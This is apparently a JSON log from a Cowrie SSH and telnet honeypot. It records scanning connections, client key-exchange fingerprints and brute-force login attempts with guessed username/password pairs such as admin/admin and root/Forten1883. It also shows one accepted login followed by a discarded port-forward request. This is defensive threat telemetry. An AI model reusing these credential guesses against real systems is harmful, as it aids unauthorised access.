-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:23.094787Z","src_ip":"162.240.218.183","session":"9e4a47bc37f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blofin","password":"blofin123","message":"login attempt [blofin/blofin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:23.342434Z","src_ip":"162.240.218.183","session":"9e4a47bc37f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":54508,"dst_ip":"10.17.0.5","dst_port":22,"session":"282d4aa15b34","protocol":"ssh","message":"New connection: 91.92.40.4:54508 (10.17.0.5:22) [session: 282d4aa15b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:23.914161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:23.918055Z","src_ip":"91.92.40.4","session":"282d4aa15b34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:23.999173Z","src_ip":"91.92.40.4","session":"282d4aa15b34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"P@ssw0rd","message":"login attempt [hadoop/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:24.251174Z","src_ip":"91.92.40.4","session":"282d4aa15b34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:25.287822Z","src_ip":"162.240.218.183","session":"9e4a47bc37f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:25.341280Z","src_ip":"91.92.40.4","session":"282d4aa15b34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":43506,"dst_ip":"159.203.135.109","dst_port":22,"session":"d31d3c0c55fc","protocol":"ssh","message":"New connection: 193.37.70.224:43506 (159.203.135.109:22) [session: d31d3c0c55fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:33.567806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:33.574116Z","src_ip":"193.37.70.224","session":"d31d3c0c55fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:33.649432Z","src_ip":"8.210.75.243","session":"9c5e490d0f3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:33.658828Z","src_ip":"193.37.70.224","session":"d31d3c0c55fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:33.911051Z","src_ip":"193.37.70.224","session":"d31d3c0c55fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:34.997630Z","src_ip":"193.37.70.224","session":"d31d3c0c55fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.179.34","src_port":59950,"dst_ip":"10.17.0.5","dst_port":22,"session":"371ea7e01afa","protocol":"ssh","message":"New connection: 20.228.179.34:59950 (10.17.0.5:22) [session: 371ea7e01afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:35.497883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:35.500443Z","src_ip":"20.228.179.34","session":"371ea7e01afa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:35.511738Z","src_ip":"20.228.179.34","session":"371ea7e01afa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neo","password":"neo123","message":"login attempt [neo/neo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:35.548056Z","src_ip":"20.228.179.34","session":"371ea7e01afa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:36.563662Z","src_ip":"20.228.179.34","session":"371ea7e01afa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47942,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e71ee669a85","protocol":"telnet","message":"New connection: 170.64.224.25:47942 (159.203.135.109:23) [session: 0e71ee669a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:39.633181Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":34012,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc6e95228076","protocol":"ssh","message":"New connection: 182.93.7.194:34012 (159.203.135.109:22) [session: cc6e95228076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:44.200087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:44.206413Z","src_ip":"182.93.7.194","session":"cc6e95228076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:44.420953Z","src_ip":"182.93.7.194","session":"cc6e95228076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:45.305236Z","src_ip":"8.210.75.243","session":"afd8d9d30b31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ip3","password":"ip3","message":"login attempt [ip3/ip3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:45.313572Z","src_ip":"182.93.7.194","session":"cc6e95228076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:46.530223Z","src_ip":"182.93.7.194","session":"cc6e95228076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.2617084980011,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:48.731502Z","src_ip":"170.64.224.25","session":"678db273a231","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60500,"dst_ip":"10.17.0.5","dst_port":22,"session":"33fc986cd18c","protocol":"ssh","message":"New connection: 8.210.75.243:60500 (10.17.0.5:22) [session: 33fc986cd18c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:49.649004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:57.255265Z","src_ip":"8.210.75.243","session":"33fc986cd18c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:57.258332Z","src_ip":"8.210.75.243","session":"33fc986cd18c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37250,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c4de3a990b6","protocol":"telnet","message":"New connection: 170.64.224.25:37250 (159.203.135.109:23) [session: 6c4de3a990b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:57.924844Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":46194,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1f3868144b0","protocol":"telnet","message":"New connection: 107.6.151.170:46194 (159.203.135.109:23) [session: e1f3868144b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:39:14.519815Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":55184,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f3d9b5d4051","protocol":"telnet","message":"New connection: 107.6.151.170:55184 (159.203.135.109:23) [session: 7f3d9b5d4051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:39:18.617218Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:39:19.777299Z","src_ip":"8.210.75.243","session":"75d0e34d29d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45516,"dst_ip":"159.203.135.109","dst_port":23,"session":"62dd16f06485","protocol":"telnet","message":"New connection: 170.64.224.25:45516 (159.203.135.109:23) [session: 62dd16f06485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:39:26.293694Z"}
{"eventid":"cowrie.session.closed","duration":120.00192189216614,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:39:28.661215Z","src_ip":"170.64.224.25","session":"2772cdd999ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":41394,"dst_ip":"10.17.0.5","dst_port":22,"session":"8847b0121d15","protocol":"ssh","message":"New connection: 176.53.159.196:41394 (10.17.0.5:22) [session: 8847b0121d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:39:34.719916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:39:34.723671Z","src_ip":"176.53.159.196","session":"8847b0121d15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:39:34.827335Z","src_ip":"176.53.159.196","session":"8847b0121d15","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:39:35.133660Z","src_ip":"176.53.159.196","session":"8847b0121d15","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:39:35.237300Z","session":"8847b0121d15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60520,"dst_ip":"159.203.135.109","dst_port":23,"session":"1468c8873843","protocol":"telnet","message":"New connection: 170.64.224.25:60520 (159.203.135.109:23) [session: 1468c8873843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:39:35.297489Z"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:39:35.339819Z","src_ip":"176.53.159.196","session":"8847b0121d15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:39:35.443432Z","src_ip":"176.53.159.196","session":"8847b0121d15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54108,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a91d56e7e92","protocol":"telnet","message":"New connection: 170.64.224.25:54108 (159.203.135.109:23) [session: 9a91d56e7e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:39:41.039899Z"}
{"eventid":"cowrie.session.closed","duration":32.36641263961792,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:39:46.886101Z","src_ip":"107.6.151.170","session":"e1f3868144b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58822,"dst_ip":"159.203.135.109","dst_port":23,"session":"b24b5d4ad1b7","protocol":"telnet","message":"New connection: 170.64.224.25:58822 (159.203.135.109:23) [session: b24b5d4ad1b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:39:50.070031Z"}
{"eventid":"cowrie.session.closed","duration":71.09982109069824,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:39:50.732858Z","src_ip":"170.64.224.25","session":"0e71ee669a85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.989498138427734,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:39:51.606587Z","src_ip":"107.6.151.170","session":"7f3d9b5d4051","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.840944051742554,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:08.880723Z","src_ip":"170.64.224.25","session":"9a91d56e7e92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.823074102401733,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:12.892976Z","src_ip":"170.64.224.25","session":"b24b5d4ad1b7","protocol":"telnet"}
